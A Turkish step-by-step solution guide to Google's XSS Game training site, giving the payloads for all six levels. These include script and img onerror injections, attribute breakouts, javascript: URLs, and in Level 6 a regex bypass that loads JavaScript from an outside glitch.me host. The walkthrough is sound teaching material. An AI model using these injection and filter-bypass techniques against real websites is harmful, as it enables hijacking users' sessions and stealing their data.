Google XSS Oyunu Çözümleri: Adım Adım Rehber
🇹🇷 Google XSS Oyunu'nun tüm seviyeleri için Türkçe adım adım çözüm rehberi. Stored XSS, Reflected XSS ve DOM XSS gibi farklı zafiyet türlerini pratikle öğrenin ve web güvenliği bilginizi pekiştirin.
Video
Hazırlık
Arama kısmına girdiğimiz değer javascript fonksiyonlarını çalıştırabiliyor mu bunu deneyeceğiz.
Bunun için html’in içine gömebildiğimiz javascript kodlarını kullanacağız.
İçerisine javascript gömülmüş örnek html içeriği:
1
2
3
4
5
6
7
8
<!DOCTYPE html>
<body>
<script>
let t = new Date();
document.body.innerHTML = "Tarih: " + t.getHours() + "." + t.getMinutes()
</script>
</body>
</html>
Buradaki gibi <script></script> taglerinin arasına girdiğimiz şeyler javascript kodlarıdır.
Bunu ilgili web sitesinin arama kısmında istediğimiz gibi çalıştırabiliyorsak zaafiyet var demektir.
Bu deneme anahtar kelimelerine payload denir.
Hazırsanız başlayalım. Hedefimiz: xss-game.appspot.com
Level 1
Kullanılan payload: <script>alert(1);</script>
Burada yukarıda anlattığım gibi payload’ı <script></script> tagları olarak ele aldım.
Bizden istenen, bir alert() çalıştırmamız. alert() fonksiyonu javascriptte bir mesaj ve bir Tamam düğmesi içeren bir uyarı kutusu görüntüler.
Anahtar kelime: Reflected XSS
Kullanılan payload: <script>alert(1)</script>
Level 2
Burada önceki payload’ı kullanmak istediğimde çalışmadı. Sonra mesaj kutusunun ögelerini inceledim:
Sonra dedim ki eğer <blockquote></blockquote> taglarını websitesi yerine kendim bitirirsem işe yarayabilir:
Payload: </blockquote><script>alert(1);</script>
Bu da işe yaramadı. Sonra fotoğraf ekleme yöntemini kullandım. javascriptte fotoğraf gömerken onerror ile fonksiyon çalıştırabiliyoruz.
Örnek: <img src="image.gif" onerror="myFunction()">
Bunu yaparken error vermesi için fotoğrafın var olmaması ya da src’nin yanlış yeri işaret ediyor olması gerekiyor.
Basitçe payload’ı şu şekle soktum: <img src="x" onerror="alert(1);">
Buna stored XSS deniyor. Yani biz bu alert() fonksiyonunu oraya gömdük ve artık o sayfaya giren herkes aynı mesajı görecek.
alert() yerine neler yazabileceğiniz hayal gücünüze kalmış.
Anahtar kelime: Stored XSS
Kullanılan payload: <img src="x" onerror="alert(1);">
Level 3
Burada input vereceğimiz herhangi bir yer yok. Peki ne yapacağız? Tabii ki öğreneceğiz!
1
2
3
4
5
6
<script>
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
Burada baktığımızda # karakterinden sonra gelen veri yani image number, chooseTab(num) ile alınıyor. Sonra da $('#tabContent').html(html); ile html içine ekleniyor.
Eğer gönderilen num değerini manipüle edebilirsek alert() fonksiyonunu çalıştırabiliriz.
Bunun için burayı inceliyoruz: html += "<img src='/static/level3/cloud" + num + ".jpg' />";
Burada bizim input olarak girdiğimiz değer integer’a çevrilmeden direkt olarak yazılmış.
Tıpkı Level 2 deki örnekte olduğu gibi düzenleyebilir miyiz? 2. leveldeki şu şekildeydi: <img src="x" onerror="alert(1);">
Şimdiki örnekte buraya gelen veri şu şekilde olsaydı: html += "<img src='/static/level3/cloud" + num + ".jpg' onerror="alert(1)"/>";
Javascript kodumuz çalışacaktı.
Bunu yapmak için # karakterinden sonra 'onerror='alert(1)' yazıp gönderirsek arkaplanda şu şekilde görünecek:
html += "<img src='/static/level3/cloud" + ''onerror='alert(1)'' + ".jpg' />";
Yani return edilecek html kodu şu şekilde olacaktı:
<img src='/static/level3/cloud'onerror='alert(1)'.jpg' />";
O zaman url’yi şu şekilde değiştirsek: https://xss-game.appspot.com/level3/frame#'onerror='alert(1)' ve bu url’ye gidersek:
Burada payloadı ' onerror='alert(1)// olarak ayarlasaydık return edilecek html şu şekilde olurdu:
<img src='/static/level3/cloud' onerror='alert(1)//.jpg' />";
Bu kullanımda ise // karakterleri ile .jpg kısmı yorum haline getiriliyor. Bu yöntem de çalışırdı.
Kullandığımız payload: 'onerror='alert(1)'
Anahtar kelime: DOM based XSS
Level 4
index.html’de şu şekilde bir form var:
1
2
3
4
<form action="" method="GET">
<input id="timer" name="timer" value="3">
<input id="button" type="submit" value="Create timer"> </form>
</form>
buradaki timer a girilen değer, timer.html’e şu şekilde aktarılıyor:
1
<img src="/static/loading.gif" onload="startTimer('');" />
Buradan anladığımıza göre loading.gif yüklendiğinde, startTimer fonksiyonu, parametre olarak gönderilen timer değeri ile çalıştırılacak. startTimer() fonksiyonu kodları burada:
1
2
3
4
5
6
7
8
9
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
Burada baktığımızda parametre olarak gönderilen seconds, sonradan seconds = parseInt(seconds) || 3; statement’i ile 3’e ya da integer değerine atanıyor. Yani bu fonksiyon doğru çalışıyor ve fonksiyonda bir şey aramayacağız. Zaafiyet arayacağımız yer burası:
1
<img src="/static/loading.gif" onload="startTimer('');" />
Eğer 5'+alert(1)+'5 değerini gönderirsek bu html şuna dönüşecektir:
1
<img src="/static/loading.gif" onload="startTimer('5'+alert(1)+'5');" />
Böylece startTimer() fonksiyonuna gönderilen parametre 5 + undefined + 5 olacak.
Kullandığımız payload: 5'+alert(1)+'5
Anahtar kelime: DOM based XSS
Level 5
Burada signup.html’i incelersek:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
<!-- We're ignoring the email, but the poor user will never know! -->
Enter email: <input id="reader-email" name="email" value="">
<br><br>
<a href="">Next >></a>
</body>
</html>
<a href="">Next >></a> kodunu göreceğiz. Burada da bahsedildiği gibi a tagının href kısmında javascript fonksiyon çağrısı yapabiliyoruz. Örnek:
1
<a href="javascript:ornekFonksiyon()">link</a>
next değişkenine javascript:ornekFonksiyon() gönderirsek buraya göndermiş olacağız. Bunu alert ile değiştirelim: javascript:alert(1) ve gönderelim:
İşe yaramadı. confirm.html içerisine bakarsak:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
Thanks for signing up, you will be redirected soon...
<script>
setTimeout(function() { window.location = ''; }, 5000);
</script>
</body>
</html>
Parametre olarak gönderdiğimiz next, burada yönlendirme için kullanılıyor. O zaman confirm.html’e next değeri olarak javascript:alert(1) gönderirsek: https://xss-game.appspot.com/level5/frame/confirm?next=javascript:alert(1) olacak, 5 saniye bekleyecek ve normalde https://xss-game.appspot.com/level5/frame/welcome linkine göndermesi gerekirken setTimeout(function() { window.location = ''; }, 5000); statementinden kaynaklı olarak next değişkenine javascript:alert(1) değeri geldiği için alert() fonksiyonu çalışacak:
Ayrıca signup.html ile bekleme olmadan manipüle edebiliriz. https://xss-game.appspot.com/level5/frame/signup?next=confirm gördüğümüzde next değeri sondaki confirm olacak. Bunu manipüle edersek sonraki next değeri bizim gireceğimiz değer olur. Bu urlyi https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1) olarak değiştirirsek:
Anahtar kelime: html attribute xss
Kullanılan payload: javascript:alert(1)
Level 6
Burada uzaktan bir js dosyası çağırıp alert() verdirmemizi istiyor. Url’ye bakacak olursak websitesinin root klasöründen /static/gadget.js i kendisi çağırmaya çalışmış. Burayı manipüle edebiliriz.
Buradan edindiğimiz bilgiler üzerinden #data:text/plain,alert(1) şeklinde uzaktan çağrılmış gibi veri gönderebiliyoruz. O zaman url’yi düzenlersek: https://xss-game.appspot.com/level6/frame#data:text/plain,alert(1) elde ederiz. Go tuşuna basarsak:
Peki uzaktan js enjeksiyonu nasıl yapacağız?
Bunun için github gist, paste siteleri vb. denedim ancak işe yarayan sadece glitch oldu. Gösterdiğim gibi js dosyasını urlye giriyoruz:
Girdiğim url: https://xss-game.appspot.com/level6/frame#https://xss-game-appspot-com-level-6.glitch.me/i.js
Olmadı. Peki neden? Çünkü kaynak kodları incelersek (index.html):
1
2
3
4
5
6
7
8
<script>
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
</script>
Berbat bir uzaktan js yükleme koruması ile karşılaşıyoruz. Bu basit bir regex ile hazırlanmış koruma. Atlatmak için binbir farklı yöntem kullanılabilir.
Ben bunu kullanmayı yeterli buldum: https://xss-game.appspot.com/level6/frame#Https://xss-game-appspot-com-level-6.glitch.me/i.js
Sadece urlmin başındaki https’i Https olarak değiştirdim ve sonuç:
Anahtar kelime: remote code execution js
Kullanılan payload: https://xss-game.appspot.com/level6/frame#Https://xss-game-appspot-com-level-6.glitch.me/i.js


















